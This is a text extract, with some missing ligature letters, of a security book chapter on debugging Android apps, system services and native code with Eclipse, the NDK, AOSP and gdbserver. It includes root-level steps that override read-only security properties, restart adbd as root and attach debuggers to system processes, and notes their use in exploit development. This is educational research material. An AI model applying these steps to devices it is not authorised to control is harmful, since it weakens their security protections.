216 Chapter 7 ■ Debugging and Analyzing Vulnerabilities c07.indd 11:8:41:AM 02/25/2014 Page 216 NOTE Due to the sheer size of the Android code Eclipse may run out of memory when creating or loading this project. To work around this issue add the -vmargs -Xmx1024m command line options when starting Eclipse. Next start debugging the example application as in the last section. If the breakpoint is still set in the main activity’s onCreate function execution pauses there. Now click one of the parent stack frames in the debug view. It should bring up a Source Not Found error message. Click the Attach Source button. Revealing the button may require enlarging the window because the window does not scroll. When the Source Attachment Conf guration dialog appears click the Workspace button. Select the AOSP Framework Source project that was created in the previous step and click OK. Click OK again. Finally click the stack frame in the debug view again. Voilà The source code for the Android Framework function related to selected stack frame should be displayed. Figure 7-4 shows Eclipse displaying the source code for the function that calls the main activity’s onCreate function. Figure 7-4: Source for Activity.performCreate in Eclipse After following the instructions in this section you can use Eclipse to step through Android Framework source code. However some code was inten- tionally excluded from the class path. Should displaying code from excluded classes become necessary modify the included excluded-paths f le. Likewise if you determine that some included paths aren’t necessary for your debugging

slide 249:

Chapter 7 ■ Debugging and Analyzing Vulnerabilities 217 c07.indd 11:8:41:AM 02/25/2014 Page 217 session add them to excluded-paths. After modifying excluded-paths repeat the process to regenerate the .classpath f le. Debugging Existing Code Debugging system services and prebuilt apps requires a slightly different approach. As brief y mentioned debugging Dalvik code typically requires that it be contained within an app that has the android:debuggable f ag set to true. As shown in Figure 7-5 f ring up DDMS or Android Device Monitor which come with the Android SDK only shows debuggable processes. Figure 7-5: Android Device Monitor with ro.debuggable0 As shown only the com.example.helloworld application appears. This is typical for a stock device. An engineering device which is created by building with the eng build conf gu- ration allows accessing all processes. The primary difference between eng and user or userdebug builds lies in the values for the ro.secure and ro.debuggable system properties. Both user and userdebug builds set these values to 1 and 0 respectively whereas an eng build sets them to 0 and 1. Additionally eng builds run the ADB daemon with root privileges. In this section methods for modifying these settings on a rooted device and actually attaching to existing processes are covered.

slide 250:

218 Chapter 7 ■ Debugging and Analyzing Vulnerabilities c07.indd 11:8:41:AM 02/25/2014 Page 218 Faking a Debug Device Luckily modifying a rooted device to enable debugging other code is not ter- ribly involved. There are two avenues to accomplish this each with its own advantages and disadvantages. The f rst method involves modifying the boot processes of the device. The second method is readily executed on a rooted device. In either case special steps are required. The f rst method which isn’t covered in depth in this chapter involves chang- ing the ro.secure and ro.debuggable settings in the device’s default.prop f le. However this special f le is usually stored in the initrd image. Because this is a ram disk modifying it requires extracting and repacking the boot.img for the device. Although this method can semipermanently enable system-wide debugging it also requires the target device to have an unlocked boot loader. If this method is preferable you can f nd more detail on building a custom boot .img in Chapter 10. The second method involves following only a few simple steps as the root user. Using this method avoids the need to unlock the boot loader but is less permanent. The effects of following these steps persist only until the device is rebooted. First obtain a copy of the setpropex utility which enables modify- ing read-only system properties on a rooted device. Use this tool to change the ro.secure setting to 0 and the ro.debuggable setting to 1. shellmaguro:/data/local/tmp su rootmaguro:/data/local/tmp ./setpropex ro.secure 0 rootmaguro:/data/local/tmp ./setpropex ro.debuggable 1 rootmaguro:/data/local/tmp getprop ro.secure 0 rootmaguro:/data/local/tmp getprop ro.debuggable 1 Next restart the ADB daemon with root privileges by disconnecting and using the adb root command from the host machine. rootmaguro:/data/local/tmp exit shellmaguro:/data/local/tmp exit dev:/android adb root restarting adbd as root dev:/android adb shell rootmaguro:/ NOTE Some devices including Nexus devices running Android 4.3 ship with a version of the adbd binary that does not honor the adb root command. For those devices remount the root partition read/write move /sbin/adbd aside and copy over a custom-built userdebug version of adbd.

slide 251:

Chapter 7 ■ Debugging and Analyzing Vulnerabilities 219 c07.indd 11:8:41:AM 02/25/2014 Page 219 The f nal step is to restart all processes that depend on the Dalvik VM. This step is not strictly necessary as any such processes that start after changing the ro.debuggable property will be debuggable. If the desired process is already running it may suff ce to restart only that process. However for long-running processes and system services restarting the Dalvik layer is necessary. To force the Android Dalvik layer to restart simply kill the system_server process. The following excerpt shows the required commands: rootmaguro:/data/local/tmp ps | ./busybox grep system_server system 527 174 953652 62492 ffffffff 4011c304 S system_server rootmaguro:/data/local/tmp kill -9 527 rootmaguro:/data/local/tmp After the kill command is executed the device should appear to reboot. This is normal and indicates that the Android Dalvik layer is restarting. The ADB connection to the device should not be interrupted during this process. When the home screen reappears all Dalvik processes should show up as shown in Figure 7-6. Figure 7-6: Android Device Monitor with ro.debuggable1 In addition to showing all processes Figure 7-6 also shows the threads from the system_process process. This would not be possible without using an

slide 252:

220 Chapter 7 ■ Debugging and Analyzing Vulnerabilities c07.indd 11:8:41:AM 02/25/2014 Page 220 engineering device or following the steps outlined in this section. After com- pleting these steps it is now possible to use DDMS Android Device Monitor or even Eclipse to debug any Dalvik process on the system. NOTE Pau Oliva’s RootAdb app automates the steps outlined in this section. You can fi nd the app in Google Play at https://play.google.com/store/apps/ detailsidorg.eslack.rootadb. Attaching to Other Processes In addition to basic prof ling and debugging a device in full debug mode also allows debugging any Dalvik processes in real time. Attaching to processes is again a simple step-by-step process. With Eclipse up and running change the perspective to the DDMS perspective using the perspective selector in the upper-right corner. In the Devices view select the desired target process for example system_process. From the Run menu select Debug Conf gurations to open the Debug Conf gurations dialog box. Select Remote Java Application from the list on the left side of the dialog and click the New Launch Conf guration button. Enter any arbitrary name in the Name entry box for example Attacher. Under the Connect tab select the AOSP Framework Source project created in the “Showing Framework Source Code” section earlier in this chapter. In the Host entry box enter 127.0.0.1. In the Port entry box enter 8700. NOTE Port 8700 corresponds to whatever process is currently selected inside the DDMS perspective. Each debuggable process is assigned a unique port as well. Using the process-specifi c port creates a debug confi guration that is specifi c to that process as expected. Finally click the Apply button and then the Debug button. At this point Eclipse has attached to the system_process process. Switching to the Debug perspective shows the active threads for the process in the Debug view. Clicking the Suspend button stops the selected thread. Figure 7-7 depicts Eclipse attached to the system_process process with the WifiManager service thread suspended. As before clicking the stack frames in the threads navigates to the relevant locations in the source code. The only thing left is to utilize breakpoints and other features of the Eclipse debugger to track down bugs or explore the inner workings of the system.

slide 253:

Chapter 7 ■ Debugging and Analyzing Vulnerabilities 221 c07.indd 11:8:41:AM 02/25/2014 Page 221 Figure 7-7: Eclipse attached to system_process Debugging Native Code The C and C++ programming languages that are used to develop native code on Android lack the memory safety that Dalvik provides. With more pitfalls lurk- ing it is much more likely that mistakes will be made and crashes will occur. Some of these bugs will be more serious because of the potential for them to be exploited by an attacker. Consequently getting to the root cause of the issue is paramount for both attackers and defenders. In either case interactively debug- ging the buggy program is the road most traveled to reach the desired outcome. This section discusses the various options for debugging native code on Android. First we discuss how you can use the Android Native Development Kit NDK to debug the custom native code inside apps you compile. Second we demonstrate how to use Eclipse to debug native code. Third we walk through the process of using AOSP to debug the Android browser on a Nexus device. Fourth we explain how to use AOSP to achieve full source-level interactive debugging. Finally we discuss how to debug native code running on a non-Nexus device.

slide 254:

222 Chapter 7 ■ Debugging and Analyzing Vulnerabilities c07.indd 11:8:41:AM 02/25/2014 Page 222 Debugging with the NDK Android supports developing custom native code via the Android NDK. Since revision 4b the NDK has included a convenient script called ndk-gdb. This script represents the off cially supported method for debugging native code included in a developer’s Android app. This section describes the requirements details the preparation process explains the inner workings and discusses the limitations of this script. WARNING The Over-the-Air OTA updates for Android version 4.3 introduced a compatibility issue with debugging using the NDK. You can fi nd more information including workarounds in Issue 58373 in the Android bug tracker. Android 4.4 fi xed this issue. Preparing an App for Debugging The f rst thing that is important to recognize about the NDK’s debugging support is that it requires a device or emulator running Android 2.2 or newer. Further debugging native code with multiple threads requires using Android 2.3 or newer. Unfortunately pretty much all code on Android is multithreaded. On the other hand the number of devices that run such old versions of Android is dwindling. Finally as you might guess the target app must be built for debug- ging during the preparation phase. Preparing your app varies depending on which build system you use. Enabling debugging for native code using the NDK alone via ndk-build is accomplished by setting the NDK_DEBUG environment variable to 1. If you use Eclipse you have to modify project properties as discussed in the next section. You can also build a debugging-enabled app using the Apache Ant build system by using the ant debug command. Whichever build system you use enabling debugging at build time is essential to successfully debugging the native code. NOTE Using the scripts discussed in this section requires the NDK directory to be in your path. Seeing It in Action To demonstrate native debugging with the NDK and in general we put together a slightly modif ed version of the “Hello World” application. Instead of displaying the string we use a Java Native Interface JNI method to return a string to the application. The code for the demo application is included with the materials for this chapter. The following excerpt shows the commands used for building the application using the NDK: dev:NativeTest NDK_DEBUG1 ndk-build

slide 255:

Chapter 7 ■ Debugging and Analyzing Vulnerabilities 223 c07.indd 11:8:41:AM 02/25/2014 Page 223 Gdbserver : arm-linux-androideabi-4.6 libs/armeabi/gdbserver Gdbsetup : libs/armeabi/gdb.setup Compile thumb : hello-jni hello-jni.c SharedLibrary : libhello-jni.so Install : libhello-jni.so libs/armeabi/libhello-jni.so dev:NativeTest Looking at the output it’s clear that setting the NDK_DEBUG environment variable causes the ndk-build script to do a couple of extra things. First the script adds a gdbserver binary to the application package. This is necessary because devices don’t usually have a GDB server installed on them. Also using a gdbserver binary that matches the GDB client ensures maximum compatibility and reliability while debugging. The second extra thing that the ndk-build script does is create a gdb.setup f le. Peeking inside this f le reveals that it is a short auto-generated script for the GDB client. This script helps conf gure GDB so that it can f nd the local copies of libraries including the JNI and source code. When using this build method building the native code is separate from building the application package itself. To do the rest use Apache Ant. You can build and install a debug package in a single step with Apache Ant by using the ant debug install command. The following excerpt shows that process though much of the output has been omitted for brevity: dev:NativeTest ant debug install Buildfile: /android/ws/1/NativeTest/build.xml ... install: echo Installing /android/ws/1/NativeTest/bin/MainActivity-debug.apk onto default emulator or device... exec 759 KB/s 393632 bytes in 0.506s exec pkg: /data/local/tmp/MainActivity-debug.apk exec Success BUILD SUCCESSFUL Total time: 16 seconds With the package installed you’re f nally ready to begin debugging the app. When executed without any parameters the ndk-gdb script attempts to f nd a running instance of the target application. If none is found it prints an error message. There are many ways to deal with this issue but all except one require manually starting the application. The most convenient way is to supply the --start parameter to the ndk-gdb script as seen in the following excerpt. dev:NativeTest ndk-gdb --start Set uncaught java.lang.Throwable Set deferred uncaught java.lang.Throwable Initializing jdb ... Input stream closed. GNU gdb GDB 7.3.1-gg2 Copyright C 2011 Free Software Foundation Inc. ...

slide 256:

224 Chapter 7 ■ Debugging and Analyzing Vulnerabilities c07.indd 11:8:41:AM 02/25/2014 Page 224 warning: Could not load shared library symbols for 82 libraries e.g. libstdc++.so. Use the "info sharedlibrary" command to see the complete listing. Do you need "set solib-search-path" or "set sysroot" warning: Breakpoint address adjusted from 0x40179b79 to 0x40179b78. 0x401bb5d4 in __futex_syscall3 from /android/ws/1/NativeTest/obj/local/armeabi/libc.so gdb break Java_com_example_nativetest_MainActivity_stringFromJNI Function "Java_com_example_nativetest_MainActivity_stringFromJNI" not defined. Make breakpoint pending on future shared library load y or n y Breakpoint 1 Java_com_example_nativetest_MainActivity_stringFromJNI pending. gdb cont Continuing. The biggest advantage to using this method is the ability to place breakpoints early in the native code’s execution paths. However this feature suffers from some timing issues when using NDK r9 with Android 4.2.2 and 4.3. More specif cally the application doesn’t start and instead displays the Waiting for Debugger dialog indef nitely. Thankfully there is a simple workaround. After the native GDB client comes up manually run the Java debugger and connect to the default endpoint as seen here: dev: jdb -connect com.sun.jdi.SocketAttach:hostname127.0.0.1port65534 Set uncaught java.lang.Throwable Set deferred uncaught java.lang.Throwable Initializing jdb ... You can execute this command by suspending the script or running the command in another window. After JDB is connected the application starts executing and the breakpoint you set in the previous excerpt should f re. Breakpoint 1 Java_com_example_nativetest_MainActivity_stringFromJNI env0x40168d90 thiz0x7af0001d at jni/hello-jni.c:31 31 __android_log_printANDROID_LOG_ERROR "NativeTest" "INSIDE JNI" gdb Employing this workaround makes hitting early breakpoints easy. Even when starting the app manually it is usually possible to cause the application to re- execute the onCreate event handler function by rotating the device orientation. This can help hit some elusive breakpoints as well. NOTE While writing this book we contributed a simple patch to fi x this issue. You can fi nd the patch at https://code.google.com/p/android/issues/ detailid60685c4.

slide 257:

Chapter 7 ■ Debugging and Analyzing Vulnerabilities 225 c07.indd 11:8:41:AM 02/25/2014 Page 225 Newer versions of the NDK include the ndk-gdb-py script which is similar to ndk-gdb except it is written in Python instead of shell script. Although this script does not suffer from the endless Waiting for Debugger issue it has issues of its own. To be more specif c it has issues when the application targets older versions of the Android SDK. Fixing this issue is a simple one-line change but the change was originally made to f x a previous bug. Hopefully these issues get ironed out over time and the debugging facilities of the NDK can be made more robust and usable. Looking Under the Hood So after dodging a minef eld of issues you are able to debug our native code. But what really happens when you run the ndk-gdb script Running the script with the --verbose f ag sheds some light on the subject. Consulting the off cial documentation included as docs/NDK-GDB.html in the NDK also helps paint the picture. At around 750 lines of shell script reading the entire thing is approach- able. The most relevant parts of the script lie in the f nal 40 or so lines. The following excerpt shows the lines from the Android NDK r9 for x86_64 Linux: 708 Get the app_server binary from the device 709 APP_PROCESSAPP_OUT/app_process 710 run adb_cmd pull /system/bin/app_process `native_path APP_PROCESS` 711 log "Pulled app_process from device/emulator." 712 713 run adb_cmd pull /system/bin/linker `native_path APP_OUT/linker` 714 log "Pulled linker from device/emulator." 715 716 run adb_cmd pull /system/lib/libc.so `native_path APP_OUT/libc.so` 717 log "Pulled libc.so from device/emulator." The commands on lines 710 713 and 716 download three crucial f les from the device. These f les are the app_process linker and libc.so binaries. These f les contain crucial information and some limited symbols. They do not contain enough information to enable source-level debugging but the “Debugging with Symbols” section later in this chapter explains how to achieve that. Without the downloaded f les the GDB client will have trouble properly debugging the target process especially when dealing with threads. After pulling these f les the script attempts to launch JDB to satisfy the “Waiting for Debugger” issue that you dealt with previously. Finally it launches the GDB client as shown here: 730 Now launch the appropriate gdb client with the right init commands 731 732 GDBCLIENTTOOLCHAIN_PREFIXgdb 733 GDBSETUPAPP_OUT/gdb.setup 734 cp -f GDBSETUP_INIT GDBSETUP 735 uncomment the following to debug the remote connection only 736 echo "set debug remote 1" GDBSETUP

slide 258:

226 Chapter 7 ■ Debugging and Analyzing Vulnerabilities c07.indd 11:8:41:AM 02/25/2014 Page 226 737 echo "file `native_path APP_PROCESS`" GDBSETUP 738 echo "target remote :DEBUG_PORT" GDBSETUP 739 if -n "OPTION_EXEC" then 740 cat OPTION_EXEC GDBSETUP 741 fi 742 GDBCLIENT -x `native_path GDBSETUP` Most of these statements on lines 733 through 741 are building up a script used by the GDB client. It starts by copying the original gdb.setup f le that was placed into the application during the debug build process. Next a couple of comments appear. Uncommenting these lines enables debugging the GDB pro- tocol communications itself. Debugging on this level is good for tracking down gdbserver instability issues but isn’t helpful when debugging your own code. The next two lines tell the GDB client where to f nd the debug binary and how to connect to the waiting GDB server. On lines 739 through 741 ndk-gdb appends a custom script that can be specif ed with the -x or --exec f ag. This option is particularly useful for automating the creation of breakpoints or executing more complex scripts. More on this topic is discussed in the “ Automating GDB Client” section later in this chapter. Finally the GDB client and the freshly generated GDB script are executed. Understanding how the ndk-gdb script works paves the way for the types of advanced scripted debugging that is discussed in the “Increasing Automation” section later in this chapter. Debugging with Eclipse When version 20 of the ADT plug-in was released in June 2012 it included sup- port for building and debugging native code. With this addition it was f nally possible to use the Eclipse IDE to debug C/C++ code. However installing a ver- sion of ADT with native code support is not enough to get started. This section describes the additional steps necessary to achieve source-level debugging for native code inside the demonstration application. Adding Native Code Support After opening the project the f rst step to achieving native debugging is telling ADT where to f nd your NDK installation. Inside Eclipse select Preferences from the Window menu. Expand the Android item and select NDK. Now enter or browse to the path where your NDK is installed. Click Apply and then click OK. Normally it would be necessary to add native code to the project as well. Fortunately the source code in this chapter’s accompanying materials already includes the necessary native code. If there is an issue or you want to add native code to a new Android application project the steps follow. Otherwise it is safe to skip over the next paragraph. To add native support to the project start by right-clicking the project in the Package Explorer view and selecting the Android Tools ➢ Add Native Support

slide 259:

Chapter 7 ■ Debugging and Analyzing Vulnerabilities 227 c07.indd 11:8:41:AM 02/25/2014 Page 227 menu item. In the dialog that displays type the name of the JNI. In the case of our demonstration app this is hello-jni. Click OK. At this point ADT creates the jni directory and adds a f le called hello-jni.cpp to the project. The next step is to tweak a few settings before launching the debugger. Preparing to Debug Native Code Just as you did before with ndk-gdb you need to inform the Android build sys- tem that you want to build with debugging enabled. Doing this inside Eclipse requires only a few simple actions. First select Project ➢ Properties. Expand the C/ ++ Build option group and select Environment. Click the Add button. Enter NDK_DEBUG for the variable name and 1 for the value. After clicking OK every- thing is set to begin debugging. To conf rm that the new environment variable is in effect select Project ➢ Build All. Output similar to that displayed when using ndk-gdb directly should be displayed in the Console view. In particular look for the lines starting with Gdb. Seeing It in Action Because the goal is to debug the code you still want to conf rm that everything is working as it should. The simplest way to do that is to verify that you can interactively hit a breakpoint inside Eclipse. First place a breakpoint inside the JNI method where you want to break. For the demonstration app the line with the call to the __android_log_print function is an ideal location. After the breakpoint is set f re up a debug session by clicking the Debug As toolbar button. If this application has never been debugged before you see a dialog asking which way to debug it. For debugging native code select Android Native Application and click OK. ADT launches the native debugger attaches to the remote process and continues execution. With a bit of luck you see our break- point hit as shown in Figure 7-8. Unfortunately success is left to luck because of another form of the Waiting for Debugger issue. This time rather than waiting forever it gets dismissed too quickly and you miss the breakpoint the f rst time around. Thankfully the orientation toggle workaround lets you cause the onCreate event to f re again and thus re-execute your native code thereby stopping on your breakpoint. Debugging with AOSP The AOSP repository contains almost everything you need to get up and run- ning. An ADB binary which normally comes from the SDK Platform Tools is the only other thing that’s needed. Because Nexus devices are directly supported by AOSP using a Nexus device for debugging native code provides the best experi- ence. In fact nearly all of the examples in this chapter were developed with the

slide 260:

228 Chapter 7 ■ Debugging and Analyzing Vulnerabilities c07.indd 11:8:41:AM 02/25/2014 Page 228 use of a Nexus device. Further Nexus devices ship with binaries built using the userdebug build variant. This is evidenced by the existence of a .gnu_debuglink section in the Executable and Linker Format ELF binary. Using this build variant creates partial symbols for all the native code binaries on the device. This section walks through the process of using an AOSP checkout to debug the Android browser which breaks down into three basic phases: setting up the environment attaching to the browser and connecting the debugger client. Figure 7-8: Stopped at a native breakpoint in Eclipse NOTE Due to the security model of Android debugging system processes written in native code requires root access. You can obtain root access by using an eng build or by applying the information supplied in Chapter 3. Setting Up the Environment Before attaching GDB to the target process you must set up your environment. Using AOSP you can accomplish this with only a few simple commands. In the following excerpt you set up the environment for debugging programs writing in C/C++ on a GSM Galaxy Nexus running Android 4.3 JWR66Y. dev:/android/source mkdir -p device/samsung cd _ dev:/android/source/device/samsung git clone \

slide 261:

Chapter 7 ■ Debugging and Analyzing Vulnerabilities 229 c07.indd 11:8:41:AM 02/25/2014 Page 229 /aosp-mirror/device/samsung/maguro.git Cloning into maguro... done. dev:/android/source/device/samsung git clone \ /aosp-mirror/device/samsung/tuna.git Cloning into tuna... done. dev:/android/source/device/samsung cd ../.. dev:/android/source . build/envsetup.sh including device/samsung/maguro/vendorsetup.sh including sdk/bash_completion/adb.bash dev:/android/source lunch full_maguro-userdebug PLATFORM_VERSION_CODENAMEREL PLATFORM_VERSION4.3 TARGET_PRODUCTfull_maguro TARGET_BUILD_VARIANTuserdebug TARGET_BUILD_TYPErelease TARGET_BUILD_APPS TARGET_ARCHarm TARGET_ARCH_VARIANTarmv7-a-neon TARGET_CPU_VARIANTcortex-a9 HOST_ARCHx86 HOST_OSlinux HOST_OS_EXTRALinux-3.2.0-52-generic-x86_64-with-Ubuntu-12.04-precise HOST_BUILD_TYPErelease BUILD_IDJWR66Y OUT_DIRout The f rst few commands obtain the device-specif c directories for the Galaxy Nexus which are required for this process. The device/samsung/maguro reposi- tory is specif c to the GSM Galaxy Nexus whereas the device/samsung/tuna repository contains items shared with the CDMA/LTE Galaxy Nexus. Finally you set up and initialize the AOSP build environment by loading the build/ envsetup.sh script into your shell and executing the lunch command. With the AOSP environment set up the next step is to set up the device. Because production images user and userdebug builds do not include a GDB server binary you need to upload one. Thankfully the AOSP prebuilts direc- tory includes exactly the gdbserver binary you need. The next excerpt shows the command for achieving this including the path to the gdbserver binary within the AOSP repository: dev:/android/source adb push prebuilts/misc/android-arm/gdbserver/ gdbserver \ /data/local/tmp 1393 KB/s 186112 bytes in 0.130s dev:/android/source adb shell chmod 755 /data/local/tmp/gdbserver dev:/android/source Now that the gdbserver binary is on the device you are almost ready to attach to the browser process.

slide 262:

230 Chapter 7 ■ Debugging and Analyzing Vulnerabilities c07.indd 11:8:41:AM 02/25/2014 Page 230 In this demonstration you will be connecting the GDB client to the GDB server using a standard TCP /IP connection. To do this you must choose one of two methods. If the device is on the same Wi-Fi network as the debugging host you can simply use its IP address instead of 127.0.0.1 in the following sections. However remote debugging over Wi-Fi can be troublesome due to slow speeds signal issues power-saving features or other issues. To avoid these issues we recommend debugging using ADB over USB when possible. Still some situa- tions such as debugging USB processing may dictate which method needs to be used. To use USB you need to use ADB’s port-forwarding feature to open a conduit for your GDB client. Doing so is straightforward as shown here: dev:/android/source adb forward tcp:31337 tcp:31337 With this step completed you have f nished initializing your minimal debug- ging environment. Attaching to the Browser The next step is to use the GDB server to either execute the target program or attach to an existing process. Running the gdbserver binary without any argu- ments shows the command-line arguments that it expects. dev:/android/source adb shell /data/local/tmp/gdbserver Usage: gdbserver OPTIONS COMM PROG ARGS ... gdbserver OPTIONS --attach COMM PID gdbserver OPTIONS --multi COMM COMM may either be a tty device for serial debugging or HOST:PORT to listen for a TCP connection. Options: --debug Enable general debugging output. --remote-debug Enable remote protocol debugging output. --version Display version information and exit. --wrapper WRAPPER -- Run WRAPPER to start new programs. The preceding usage output shows that three different modes are supported by this gdbserver binary. All three require a COMM parameter which is described in the excerpt above. For this parameter use the port that you forwarded previ- ously tcp:31337. The f rst supported mode shown is for executing a program. It allows specifying the target program and the desired parameters to pass to it. The second supported mode allows attaching to an existing process using the process ID specif ed by the PID parameter. The third supported mode is called multiprocess mode. In this mode gdbserver listens for a client but does not automatically execute or attach to a process. Instead it defers to the client for instructions.

slide 263:

Chapter 7 ■ Debugging and Analyzing Vulnerabilities 231 c07.indd 11:8:41:AM 02/25/2014 Page 231 For the demonstration we use attach mode because it is more resilient to crashes in the GDB client or server which unfortunately happen on occasion. After choosing an operating mode you are ready to attach to the browser. However attaching to the browser requires that is running already. It doesn’t run automatically on boot so you have to start it using the following command: shellandroid:/ am start -a android.intent.action.VIEW \ -d about:blank com.google.android.browser Starting: Intent actandroid.intent.action.VIEW databout:blank You use the am command with the start parameter to send an intent asking the browser to open and navigate to the about:blank URI. Further you specify the browser’s package name com.google.android.browser to prevent accidently spawning other browsers that may be installed. It’s a perfectly viable alternative to spawn the browser manually as well. The last thing that you need to attach to the now-running browser is its process ID. Use the venerable BusyBox tool either by itself or in combination with the ps command to f nd this last detail preventing you from attaching. 2051 shellandroid:/ ps | /data/local/tmp/busybox grep browser u0_a4 2051 129 522012 59224 ffffffff 00000000 S com.google.android.browser shellandroid:/ /data/local/tmp/busybox pidof \ com.google.android.browser 2051 Now spawn gdbserver using attach mode. To do this f rst exit from the ADB shell and return to the host machine shell. Use the adb shell command to spawn gdbserver instructing it to attach to the browser’s process ID. dev:/android/source adb shell su -c /data/local/tmp/gdbserver \ --attach tcp:31337 2225 Attached pid 2225 Listening on port 31337 Z 1+ Stopped adb shell su -c /data/local/tmp/gdbserver --attach tcp:31337 2225 dev:/android/source bg 1+ adb shell su -c /data/local/tmp/gdbserver --attach tcp:31337 2225 After gdbserver is started use the Control-Z key combination to suspend the process. Then put the adb process into the background using bash’s bg command. Alternatively you could send ADB to the background from the beginning using bash’s control operator which is similar to the bg command. This frees up the terminal so you can attach the GDB client.

slide 264:

232 Chapter 7 ■ Debugging and Analyzing Vulnerabilities c07.indd 11:8:41:AM 02/25/2014 Page 232 Connecting the GDB Client The f nal phase in the process is connecting the GDB client to the GDB server that is listening on the device. AOSP includes a fully functioning GDB client. Newer revisions of AOSP even include Python support in the included GDB client. You spawn and connect the client as shown here: dev:/android/source arm-eabi-gdb -q gdb target remote :31337 Remote debugging using :31337 Remote debugging from host 127.0.0.1 0x4011d408 in gdb back 0 0x4011d408 in 1 0x400d1fcc in 2 0x400d1fcc in Backtrace stopped: previous frame identical to this frame corrupt stack gdb After executing the client instruct it to connect to the waiting GDB server using the target remote command. The argument to this command corresponds to the port that you previously forwarded using ADB when setting up the envi- ronment. Note that the GDB client defaults to using the local loopback interface when the IP address is omitted. From here you have full access to the target process. You can set breakpoints inspect registers inspect memory and more. Using the gdbclient Command The AOSP build environment event defines a bash built-in command gdbclient for automating much of the process covered earlier. It can forward ports spawn a GDB server and connect the GDB client automatically. Based on the requirement that the gdbserver binary is on the device and in the ADB user’s execution path it is likely intended to be used with a device running an eng build. You can view the full def nition of this built-in by using the follow- ing shell command: dev:/android/source declare -f gdbclient gdbclient ... The entirety of the command was omitted for brevity. You are encouraged to follow along using your own build environment. The f rst thing that gdbclient does is query the Android build system to identify details def ned during the environment initialization process detailed earlier. This includes paths and variables such as the target architecture. Next gdbclient attempts to determine how it was invoked. It can be started with

slide 265:

Chapter 7 ■ Debugging and Analyzing Vulnerabilities 233 c07.indd 11:8:41:AM 02/25/2014 Page 233 zero one two or three arguments. The f rst argument is the name of a binary within the /system/bin directory. The second argument is the port number to forward pref xed by a colon character. These f rst two arguments simply over- ride the defaults of app_process and :5039 respectively. The third argument specif es the process ID or command name to which it will attach. If the third argument is a command name gdbclient attempts to resolve the process ID of that command on the target device using the pid built-in. When the third argument is successfully processed gdbclient uses ADB to automatically forward a port to the device and attaches the gdbserver binary to the target process. If the third argument is omitted the onus is on the user to spawn a GDB server. Next gdbclient generates a GDB script much like the ndk-gdb script does. It sets up some symbol-related GDB variables and instructs the GDB client to connect to the waiting GDB server. However there are two big differences from the ndk-gdb script. First gdbclient depends on symbols from a custom build rather than pulling binaries from the target device. If no custom build was done gdbclient is unlikely to work. Second gdbclient does not allow the user to specify any additional commands or scripts for the GDB client to execute. The inf exibility and assumptions made by the gdbclient built-in make it diff cult to use especially in advanced debugging scenarios. Although it may be possible to work around some of these issues by redef ning the gdbwrapper built-in or creating a custom .gdbinit f le these options were not explored and are instead left as an exercise to the reader. Increasing Automation Debugging an application like the Android browser can be very time consuming. When developing exploits reverse-engineering or digging deep into a prob- lem there are a few small things that can help a lot. Automating the process of spawning the GDB server and client helps streamline the debugging experience. Using the methods outlined in this section also enables automating project- specif c actions which in this demonstration apply directly to debugging the Android browser. You might notice that these methods are quite similar to those employed in Chapter 6 but they aim to improve productivity for a researcher instead of fully automating testing. The goal is to automate as many mundane tasks as possible while still giving the researcher room to apply their expertise. Automating On-Device Tasks In many scenarios such as developing an exploit it is necessary to engage in a large number of debugging sessions. Unfortunately in attach mode gdbserver exits after the debugging session completes. In these situations it helps to use a couple small shell scripts to automate the process of repeatedly attaching.

slide 266:

234 Chapter 7 ■ Debugging and Analyzing Vulnerabilities c07.indd 11:8:41:AM 02/25/2014 Page 234 The f rst step is to create the following small shell script on the host and make it executable. dev:/android/source cat debugging.sh /bin/sh while true do sleep 4 adb shell su -c /data/local/tmp/attach.sh adb.log 21 done D dev:/android/source chmod 755 debugging.sh dev:/android/source Running this in the background on the host ensures that a gdbserver instance is re-spawned on the device four seconds after it exits. The delay is to give the target process time to clear out from the system. Though this could also be accomplished with a shell script on the device itself running it on the host helps prevent accidentally exposing the gdbserver endpoint to untrusted networks. Next create the /data/local/tmp/attach.sh shell script on the device and make it executable. shellmaguro:/data/local/tmp cat attach.sh /system/bin/sh start the browser am start -a android.intent.action.VIEW -d about:blank \ com.google.android.browser wait for it to start sleep 2 attach gdbserver cd /data/local/tmp PID`./busybox pidof com.google.android.browser` requires busybox ./gdbserver --attach tcp:31337 PID D shellmaguro:/data/local/tmp chmod 755 attach.sh shellmaguro:/data/local/tmp This script handles starting the browser obtaining its process ID and attach- ing the GDB server to it. With the two scripts in place simply execute the f rst script in the background on the host. dev:/android/source ./debugging.sh 1 28994 Using these two small scripts eliminates unnecessarily switching windows to re-spawn gdbserver. This enables the researcher to focus on the task at hand using the GDB client to debug the target process.

slide 267:

Chapter 7 ■ Debugging and Analyzing Vulnerabilities 235 c07.indd 11:8:41:AM 02/25/2014 Page 235 Automating GDB Client Automating the GDB client helps further streamline the analysis process. All modern GDB clients support a custom scripting language specif c to GDB. Newer versions of the AOSP GDB client include support for Python scripting as well. This section uses GDB scripting to automate the process of connecting to a waiting gdbserver process. For simply attaching to the remote GDB server it suff ces to use the GDB cli- ent’s -ex switch. This option enables the researcher to specify a single command to run after the GDB client starts. The following excerpt shows how you use this to attach to your waiting GDB server using the target remote command: dev:/android/source arm-eabi-gdb -q -ex "target remote :31337" Remote debugging using :31337 Remote debugging from host 127.0.0.1 0x401b5ee4 in gdb Sometimes as you will see in the following sections it’s necessary to auto- matically execute several GDB client commands. Although it is possible to use the -ex switch multiple times on one command line another method is more suitable. In addition to -ex the GDB client also supports the -x switch. Using this switch a researcher places the commands they switch to use into a f le and passes the f lename as the argument following the -x switch. You saw this feature used in the “Debugging with the NDK” section earlier in this chapter. Also GDB reads and executes commands from a f le called .gdbinit in the cur- rent directory by default. Placing the script commands into this f le alleviates the need for specifying any extra switches to GDB at all. Regardless of which method you use scripting GDB is extremely helpful in automating debugging sessions. Using GDB scripts allows setting up complex project-specif c actions such as custom tracing interdependent breakpoints and more. More advanced scripting is covered in the sections covering vulnerability analysis later in this chapter. Debugging with Symbols Above all else symbols are the most helpful pieces of information when debug- ging native code. They encapsulate information that is useful for a human and tie it to the code locations in a binary. Recall that symbols for ARM binaries are also used to convey processor mode information to the debugger. Debugging without symbols which is covered further in the “Debugging with a Non-AOSP Device” section can be a terribly painful experience. Whether they are pres- ent or must be custom built always seek out and utilize symbols. This section discusses the nuances of the symbols and provides guidance for how best to utilize symbols when debugging native code on Android.

slide 268:

